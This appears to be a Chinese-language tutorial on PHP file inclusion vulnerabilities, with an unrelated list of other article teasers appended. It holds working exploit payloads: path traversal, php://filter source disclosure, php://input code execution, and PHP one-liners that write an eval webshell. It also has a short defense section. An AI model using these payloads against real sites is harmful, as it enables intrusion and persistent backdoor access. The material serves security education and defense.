文件包含漏洞

文章目录

  • 文件包含漏洞
    • php中文件包含的语句
    • 文件包含
        • 动态包含
      • 相关配置
      • 本地文件包含
      • 远程文件包含
    • 漏洞原理
      • 特点
    • 利用方法
      • 包含图片木马
      • 读取敏感文件
    • 读取php源码
    • 执行php代码
    • 包含图片马写 shell
    • 包含日志
    • 文件包含防御

文件包含漏洞

​ 程序开发人员通常会把可重复使用函数或语句写到单个文件中,形成“封装”。在使用某个功能的时候,直接调用此文无需再次编写,提高代码重用性,减少代码量。这种调用文件的过程通常称为包含件,
​ 程序开发人员都希望代码更加灵活,所以会把被包含的文件的路径设置为变量,来进行动态调用(包含》,但正是由于这种灵活性,如果被包含文件的路径客户端可控,造成任意文件包含漏洞。
​ 几乎所有的脚本都会提供文件包含的功能,文件包含漏洞在PHP 的web 应用中居多,在JSP/ASP/ASP.NET 程序中比较

php中文件包含的语句

  • include() : 多次包含,多次执行;如果失败,脚本会警告,但是继续运行
  • include_once() : 多次包含,执行一次;如果失败,脚本会警告,但是继续运行
  • require() : 多次包含,多次执行;如果失败,脚本会产生错误结束执行
  • require_once() : 多次包含,一次执行,如果包含失败,脚本产生错误,结束执行。

文件包含

动态包含
$path = @$_GET['filepath'];
@include $path;

在这里插入图片描述

相关配置

可以通过修改php.ini文件进行对远程文件包含进行配置

allow_url_fopen=On/Off   #通过远程方式打开文件
allow_url_include= On/Off  # 通过远程方式包含文件

在这里插入图片描述

本地文件包含

通过本地路径访问文件

text.php?path=../../phpinfo.php

在这里插入图片描述

远程文件包含

远程文件包含通过一些协议进行远程路径访问

text.php?path=http://../phpinfo.php

在这里插入图片描述
在虚拟机里读取了我桌面的文件

漏洞原理

​ PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含的参数,web 应用没有进行严格的校浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞。

特点

在文件包含中是无视文件扩展名,以二进制的方式读取文件,其中就给,图片中插入一句话木马留了后路

利用方法

包含图片木马

上传图片木马菜刀直接连接

读取敏感文件

利用文件包含漏洞,也可以读取敏感文件。前提条件:

  • 目标文件存在(已知目标文件路径)

  • 具有文件可读权限

  1. 使用相对路径

  2. 使用绝对路径

  3. 使用封装协议

    封装协议说明
    file://访问本地文件系统
    http://访问 HTTP(s) 网址
    ftp://访问 FTP(s) URLs
    php://访问各个输入/输出流(I/O streams)
    zlib://压缩流
    data://数据(RFC 2397)
    glob://查找匹配的文件路径模式
    phar://PHP 归档
    ssh2://Secure Shell 2
    rar://RAR
    ogg://音频流
    expect://处理交互式的流

读取php源码

使用php伪协议读取PHP代码

?filepath=php://filter/read=convert.base64-encode/resource=[目标文件]

在这里插入图片描述

执行php代码

利用I/O流 I : input O:output

  • 利用 php://input 执行PHP 命令;

  • 远程文件包含开启

将请求改为post请求,在请求正文可以执行php代码

 POST /file-include/include.php?filepath=php://input HTTP/1.1 
 
 <?php phpinfo();?>
 

在这里插入图片描述

包含图片马写 shell

条件:

  • 确定文件包含漏洞存在

  • 菜刀不能直接连接

写入shell

<?php fputs(fopen("shell.php",'w'),'<?
=@eval($_REQUEST[777]);phpinfo();?>')?>

<?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?
>

利用

http://127.0.0.1/shell.php

包含日志

Apache 日志

  • 访问日志
  • 错误日志

Nginx 日志

  • 访问日志
  • 错误日志

SSH 日志

  • 邮件日志

文件包含防御

  • 尽量少的使用动态包含

  • 严格过滤被包含文件的路径。

  • 将参数 allow_url_include 设置为 Off

  • 使用参数 open_basedir 限定文件访问范围限定于web根目录下

    open_basedir =c:\phpstudy_2016\www\
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/147878.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

从零到一:抖音小程序开发全指南及预算规划

在数字时代&#xff0c;抖音小程序的开发成为企业实现品牌推广、服务提供的重要途径。本文将为您提供从零到一的抖音小程序开发全指南&#xff0c;包括预算规划以及一些关键的技术代码示例。 1. 项目准备 在开始抖音小程序开发之前&#xff0c;需要进行一些项目准备工作。 …

【git】git本地仓库命令操作详解

这篇文章主要是针对git的命令行操作进行讲解&#xff0c;工具操作的基础也是命令行&#xff0c;如果基本命令操作都不理解&#xff0c;就算是会工具操作&#xff0c;真正遇到问题还是一脸懵逼 1.操作逻辑图 本地仓库的命令操作关系图 2.基本命令操作 1.1建立一个gittest01文…

关于修改了mysql的my_conf文件之后,不能生效问题

个人名片&#xff1a; &#x1f405;作者简介&#xff1a;一名大三在校生&#xff0c;热爱生活&#xff0c;爱好敲码&#xff01; \ &#x1f485;个人主页 &#x1f947;&#xff1a;holy-wangle ➡系列内容&#xff1a; &#x1f5bc;️ tkinter前端窗口界面创建与优化 &…

功率放大器在生物医疗测试领域研究中的应用

生物医学相关测试&#xff0c;就是运用生物学及工程技术手段来研究和解决生命科学&#xff0c;特别是医学中的有关问题&#xff0c;是关系到提高医疗诊断水平和人类自身健康的重要工程领域。功率放大器作为生物医学领域相关实验平台的重要组成部分&#xff0c;在生物医学领域研…

weblogic多机集群节点管理服务配置

1.安装启动管理端控制台略过了&#xff0c;登录到控制台&#xff0c; 2.创建集群&#xff0c;配置信息如图&#xff0c;基本默认就行&#xff0c;点完成。点击集群名称&#xff0c;添加服务器 前两个是管理机上的两个服务&#xff0c;后面是另个一个机器的两个节点服务&#…

aliyun Rest ful api V3版本身份验证构造

aliyun Rest ful api V3版本身份验证构造 参考官网&#xff1a;https://help.aliyun.com/zh/sdk/product-overview/v3-request-structure-and-signature?spma2c4g.11186623.0.0.787951e7lHcjZb 构造代码 &#xff1a;使用GET请求进行构造&#xff0c;算法使用sha256 使用postm…

mq具体使用方式

代码方式 第一步方式导入依赖的方式 <dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><!--AMQP依赖&#xff0c;包含RabbitMQ--><…

【numpy】数据类型

1、Numpy Python 的扩展库&#xff08;数学函数库&#xff09;&#xff0c;主要用于数组计算。 N维数组对象ndarray广播功能函数整合C/C/Fortran代码的工具线性代数、傅里叶变换、随机数生成等功能 通常与SciPy&#xff08;开源算法库和数学工具包&#xff09;和Matplotlib&a…

无人零售:创新优势与广阔前景

无人零售&#xff1a;创新优势与广阔前景 无人零售在创新方面具有优势。相比发展较为成熟的欧洲和日本的自动贩卖机市场&#xff0c;中国的无人零售市场人均占有量较少&#xff0c;这表明该市场具有广阔的前景和巨大的市场潜力。 此外&#xff0c;无人零售涉及到许多相关行业&…

数据结构笔记:R树

R-trees: a dynamic index structure for spatial searching 1984 1 介绍 R树可以看作B树再高维空间的扩展。它很好的解决了在高维空间搜索等问题。 采用了B树分割空间的思想&#xff0c;并在添加、删除操作时采用合并、分解结点的方法&#xff0c;保证树的平衡性R树就是一棵…

塑料橡胶工厂数字孪生可视化管理平台建设,推动制造业智慧数字化转型

中国制造业正面临向数字化、智能化转型的关键时期&#xff0c;到2035年规模以上制造业企业全面普及数字化、网络化&#xff0c;智能化&#xff0c;推动制造业数字化战略转型已迫在眉睫。加快5G、数字孪生、人工智能等新一代信息技术与塑料橡胶产业融合&#xff0c;不断增强塑料…

leetcode做题笔记1334. 阈值距离内邻居最少的城市

有 n 个城市&#xff0c;按从 0 到 n-1 编号。给你一个边数组 edges&#xff0c;其中 edges[i] [fromi, toi, weighti] 代表 fromi 和 toi 两个城市之间的双向加权边&#xff0c;距离阈值是一个整数 distanceThreshold。 返回能通过某些路径到达其他城市数目最少、且路径距离…

「题解」相交链表

&#x1f349;题目 题目链接 &#x1f349;解析 “提示”部分有提示链表数不为零&#xff0c;所以讨论链表为空的情况。 最简单粗暴的思路就是&#xff1a;遍历链表&#xff0c;先使用循环遍历A链表&#xff0c;然后嵌套循环遍历B&#xff0c;比对A、B是否存在地址相同的…

JSP注释方式演示 讲解显式与隐式注释

好 今天我们来了解一下jsp中的注释哦 它支持两种注释: 显式注释/隐式注释 显式注释 是 允许被客户端看到的 就是 打开浏览器 用查看源码方式能看到的注释 与之对应 隐式注释 就是 在客户端 是无法看到这些注释信息的 显式注释 的语法就是html的注释语法 <!-- 显式注释 --…

文生图超级大合集!几乎包含所有模型,提示词教程

除了DALLE 3、Midjourney、Stable Difusion&#xff0c;你还知道哪些好用小众的文生图模型吗&#xff1f; 你知道一张精美的AI图片&#xff0c;需要哪些精准的提示词、效果融合以及制作流程吗&#xff1f; 如果把几乎所有文生图模型集合在一个平台中&#xff0c;并且还能叠加…

小波神经网络的时间序列预测——短时交通流量预测

大家好&#xff0c;我是带我去滑雪&#xff01; 小波神经网络&#xff08;Wavelet Neural Network&#xff0c;WNN&#xff09;结合了小波变换和神经网络的特性&#xff0c;是一种在信号处理和模式识别领域应用广泛的神经网络模型。它的设计灵感来自于小波变换的多尺度分析特性…

pyCharm新建项目

1.新建界面点击Create New Project。 或点击File->New Project... 2.选择Pure Python后&#xff0c;如图选择路径。 Location的地址一致&#xff0c;点击Create。 3.等待新建成功后&#xff0c;在新建的项目名字右击&#xff0c;如下图可以选择新建文件夹、python包和python…

信息检索与数据挖掘 | 【实验】检索评价指标MAP、MRR、NDCG

文章目录 &#x1f4da;实验内容&#x1f4da;知识梳理&#x1f4da;实验步骤&#x1f407;前情提要&#x1f407;MAP评价指标函数&#x1f407;MRR 评价指标函数&#x1f407;NDCG评价指标函数&#x1f407;调试结果 &#x1f4da;实验内容 实现以下指标评价&#xff0c;并对…

Acrobat Pro DC 2023 中文版

Acrobat Pro DC 2023是PDF编辑和管理软件&#xff0c;具有以下优点&#xff1a; 更好的安全性&#xff1a;Acrobat Pro DC 2023采用了新的安全功能&#xff0c;包括加密、数字签名等&#xff0c;可以更好地保护PDF文件的安全性。 更高的速度和性能&#xff1a;Acrobat Pro DC …